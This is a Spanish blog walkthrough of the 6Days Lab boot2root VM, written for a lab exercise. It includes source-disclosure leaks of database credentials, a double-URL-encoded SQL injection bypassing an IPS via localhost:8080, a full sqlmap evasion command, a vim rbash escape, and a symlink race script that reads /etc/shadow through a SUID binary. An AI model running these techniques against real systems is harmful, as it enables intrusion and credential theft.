Nuevas Entradas

6Days Lab 1.1

 

Prólogo


6Days Lab es una máquina virtual del tipo boot2root, creada por los chicos de canyoupwn, cuyo objetivo es elevar privilegios en el sistema y ejecutar /flag.

Descargamos el fichero OVA desde vulnhub y comenzamos, como de costumbre montando la VM con Virtualbox e identificando el target en la red mediante netdiscover.


Realizamos un sondeo SYN con nmap para descubrir los servicios que corren en la máquina virtual.


Hasta el momento podemos ver un servidor SSH, HTTP y un "servicio" corriendo en el puerto 8080 (que lo mas probable es que se trate de un proxy, o bien sea otro servidor HTTP), pero alguna regla filtra los flags SYN en ese puerto, así que de momento no podemos establecer una conexión desde el exterior.

Rashomon IPS


Como entrada nos venden un IPS (Sistema de prevención de intrusiones) tildándolo de ser el más seguro e infranqueable del mundo, poniendo en segundo lugar a los Pentesters, asegurándonos que con su propio sistema de detección estamos a salvo de cualquier "H4x0r" que ande hurgando por los inputs. Hasta nos dan un código de descuento, que por desgracia expiró.



Mirando en el source tenemos algo bastante curioso y es cómo se carga el contenido de una imagen.

http://192.168.1.102/image.php?src=https%3A%2f%2f4.bp.blogspot.com%2f-u8Jo4CEKQLk%2fV4OpiaoMJ7I%2fAAAAAAAAAiw%2f8kuCpTOpRWUAdp2p4GpegWdnOwxjwHNYQCLcB%2fs1600%2fphoto.jpg

Será un LFI?



Si llamamos directamente a image.php nos damos cuenta que se trata de un Full Source Disclosure.


Veamos qué tiene checkpromo.php.

<?php
include 'config.php';

$conn = mysql_connect($servername, $username, $password);

if (!$conn) {
 die("Connection failed: " . $conn->connect_error);
}

$sql = "SELECT discount, status FROM promocodes WHERE promocode='".$_GET['promocode']."';";

mysql_select_db($dbname);
$result = mysql_query($sql, $conn);

if (!$result) {
 echo "Promocode not valid!";
} else {
 while($row = mysql_fetch_array($result, MYSQL_ASSOC))
 {
  if($row['status'] == 0)
   echo "Code expired!";
  else
   echo "You have %".$row['discount']." discount!";
 }
}

mysql_close($conn);
?> 

Bueno, el parámetro promocode es susceptible a una SQL Injection, el problema es que nuestro super IPS Rashomon filtra la comilla simple.



Así que no podemos escapar de la cadena y por ende no podemos inyectar una sentencia valida. Después de intentar varias maneras de evadir esa restricción decidí cruzarme a la otra vereda y recabar información a través del FSD, intenté loguearme fallidamente por SSH con el password de config.php, mediante los usuarios del sistema (user y andrea).

<?php
$servername = "localhost";
$username = "sellingstuff";
$password = "n0_\$\$_n0_g41ns";
$dbname = "fancydb";

Frustración tras frustración me llevó a acordarme del servicio filtrado en el 8080. No podía llegar desde afuera, pero desde adentro?


Ok, otro servidor HTTP sirviendo la misma app o una redirección al 80?. En esta parte me decepcioné un poco, creí que iba a encontrarme con algo diferente, llegué al punto en que estaba perdido, por un lado el IPS me tenía loco y por otro tenía el FSD que en sí no me servía para lograr un acceso directo, o eso creía.


DOUBLE URLENCODE chau Rashomon!


Ya había intentado evadirlo mediante este vector, pero evidentemente no funcionó, por el simple hecho de que sólo realiza un único urldecode. Pero podía forzar a una segunda petición por GET con la ayuda de readfile(), para que haga el trabajo sucio. Más claro? Te lo escribo.

http://192.168.1.102/image.php?src=http://localhost:8080/checkpromo.php?promocode=[DOUBLEURLENCODE] 

Analicemos:

http://192.168.1.102/image.php?src=http://localhost:8080/checkpromo.php?promocode=[DOUBLEURLENCODE] 

Acá se produce el primer GET, por consiguiente el primer urldecode, por último la función readfile() realiza el segundo GET, que fue pasado como argumento en la primera petición.

http://localhost:8080/checkpromo.php?promocode=[URLENCODE] 

Probemos pasando un single quote a ver qué pasa.



Esto me suena a blind, guiados por la lógica del source, si inyectáramos una sentencia que dé como resultado true, deberíamos obtener como respuesta: Code expired!.

Probemos con ' or 1=1-- --



SQLMAP HELP ME!


Siempre fui partidario de realizar las inyecciones a mano, pero una blind es bastante tediosa y como me ganaba la ansiedad, le metí mano a sqlmap.


sqlmap -u "http://192.168.1.102/image.php?src=http://localhost:8080/checkpromo.php?promocode=*" --tamper=chardoubleencode --level=5 --risk=3 --dbms mysql --technique=B --random-agent --dump-all --retries=20 --no-cast --common-tables

El * en la url indica el campo en donde se inyectará el payload, en este caso la inyección se daba en el valor de un parámetro, también puede ser útil cuando nos topamos con mod_rewrite y sus urls amigables.

Se utilizó el flag --tamper, para codificar el payload a doubleurlencode, sqlmap cuenta con una buena cantidad de estos scripts para evadir diversos WAF/IDS bien configurados.
Para una mejor referencia visitar el siguiente enlace.

Se optó por utilizar el flag --common-tables ya que la obtención de tablas/columnas a través de information_schema tardaba demasiado y producía un reject por parte del servidor.




Welcome to SSH


  Con las credenciales obtenidas en la db podemos establecer una sesión por SSH.



El único problema es que el stdout no se muestra, probemos con redireccionarlo al stderr


Ahora nos tiramos un bash al stderr para movernos más tranquilos.


Ups! rbash es un tipo de shell restringida, donde se nos impedía utilizar "/", entre otras cosas, como las redirecciones a ficheros. Pero existen varias maneras de saltarse rbash, por ejemplo: con vim.

vim 1>&2
:set shell=/bin/bash
:shell 

Y de esta manera ya tenemos una sesión como la gente.



Buscando a root


Se encontraron dos maneras de elevar privilegios en la máquina, pero no significa que sean las únicas. Viendo la versión del kernel del sistema deducimos que se puede aprovechar la vulnerabilidad de overlayfs en ubuntu para elevar privilegios.



La otra conlleva un poco más de trabajo , se trata de aprovechar los permisos setuid seteados en el fichero dog, para buscar la manera de elevar a root por una vía alterna. Para esta resolución quiero agradecer a mi gran amigo hdbreaker, que me dio una mano con el binario y terminó explotando la vulnerabilidad exitosamente, por esta razón decidí que es él, quien debe terminar de escribir este apartado.


The DOG file

Llegado el momento recibo un mensaje privado de mi amigo [Q]3rv[0] donde me cuenta que estaba trabajando sobre una máquina virtual vulnerable que poseía un binario con bit SUID vulnerable a algún tipo de ataque y me pregunta si podía echarle un ojo.

Sin más, le solicito las credenciales de acceso a la VM y descargo el binario.

Detectamos que es un binario ELF de 32 bit.



Procedemos a analizarlo en IDA:


El segmento a tener en cuenta es el siguiente:



En un inicio el programa toma por consola un parámetro, este es tratado como un array char:

mov     [esp+4], edx    ; int
mov     [esp], eax      ; char *

Luego se invoca a la llamada del sistema stat, la cual obtiene el número identificativo del owner y del group del fichero, y carga este número en el registro eax.

El valor de EAX se coloca a su vez en edx: mov edx, eax

Luego se aplica una función matemática (XOR) a eax y edx para verificar posteriormente en:
test eax, eax, que el id  del owner del fichero coincidan con el número 0x03E9 que es equivalente a 1001.


Si la condición no se cumple, obtendremos como resultado el mensaje "Access Denied".

Caso contrario (bloque izquierdo) si el id del usuario coincide con el owner id del fichero, podremos acceder al fichero y leerlo (call readfile).

Cabe aclarar que existe una vulnerabilidad en la implementación de esta estructura, se ve claramente cómo en el primer mov eax, [ebp+argv] se coloca en eax el valor que le enviamos como argumento al programa en su ejecución, esto luego es utilizado como filename en la función readfile sin ningún tipo de verificación.

Para aclarar esto un poco trataré de armar una pequeña estructura en C de cómo se vería el código del binario. Disculpen si algo está mal en la sintaxis de alguna parte, sólo es una pequeña interpretación y no un código funcional:

int main(int argc, char *argv[])
{
 char *filename = argv[1];
 int npi = 18;
 int owner = 0;
 int group = 0;
 owner, group = stat(filename, &npi);
if ( (owner ^ 0x3E9) & (group ^ 0x3E9) ){
       puts("Access Denied.");
       exit();
}
puts("Access Granted.");
readfile((char *)argv[1]);
return 0;
}

Si logramos evadir el primer if enviando como argumento un archivo con los mismos permisos que el usuario andrea pero justo antes del readfile logramos cambiar el fichero; gracias a que el programa tiene seteado el bit SUID, podríamos leer cualquier otro archivo del sistema, incluso aquellos cuyo owner es root.

Esto se conoce como Race Condition y su explotación es algo trivial.

No podemos cambiar en tiempo de ejecución el nombre del archivo que enviamos como parámetro, ya que no podemos modificar la memoria reservada por el programa en tiempo de ejecución (Sí podemos, con gdb, pero perdemos el bit SUID).

En este caso podemos utilizar los característicos enlaces simbólicos del sistema:

"Un enlace simbólico también puede definirse como una etiqueta o un nuevo nombre asociado a un archivo pero a diferencia de los enlaces físicos, el enlace simbólico no contiene los datos del archivo, simplemente apunta al registro del sistema de archivos donde se encuentran los datos"

Si logramos cambiar hacia donde apunta el enlace simbólico que enviamos como parámetro, luego del primer if y justo antes de que la función readfile acceda a los datos asociados a él, lograremos que el programa, lea otro archivo distinto al que apuntaba originalmente y bypassear la protección de:

if ( (owner ^ 0x3E9) & (group ^ 0x3E9) )

Pasos:

1) Crear un archivo en el cual andrea sea el owner:

touch file

2) Crear un enlace simbólico a file:

ln -sf file lnfile

3) Invocar al binario vulnerable enviándole como parámetro el nombre del enlace simbólico:

./dog lnfile

4) Cambiar donde apunta el enlace simbólico hacia nuestro nuevo archivo (el que queramos leer con permisos de root):

ln -sf /etc/shadow lnfile

5) Como no podemos predecir cuándo realizará el binario este cambio, debido a que existen segundos o mili segundos entre el primer if y la función readfile, crearemos un bucle infinito para ejecutar esta formula reiteradas veces.

Cocinar el script: race.sh

#!/bin/bash
touch file
while :
do
ln -sf file lnfile&
./dog lnfile&
ln -sf /etc/shadow lnfile&
done

Ejecutamos el script en la máquina y a los pocos segundos obtenemos el resultado positivo:


Solo nos quedaría pendiente crackear la contraseña de root y elevar privilegios.


Cracking the Hash


 Una vez obtenido el hash nos dispusimos a realizar un ataque de diccionario con la herramienta John the Ripper. Para esto se generó un wordlist con la ayuda de crunch y lo demás fue esperar.


Comprobamos que el password sea el correcto y john no le haya pifiado.




EOF

Para concluir quiero darle las gracias a:

hdbreaker: Por dejar de laburar para infobyte y ponerse en la VM conmigo.

Rashomon: Por hacerme parir toda la madrugada. 

Los muchachos de canyoupwnme, en especial a 1ce7ea: Por esta espectacular VM, se agregaron nuevos trucos a mi arsenal! ; ).
 

Share this:

 
Copyright © 2014 Security Signal.
Designed by OddThemes | Distributed By Gooyaabi Templates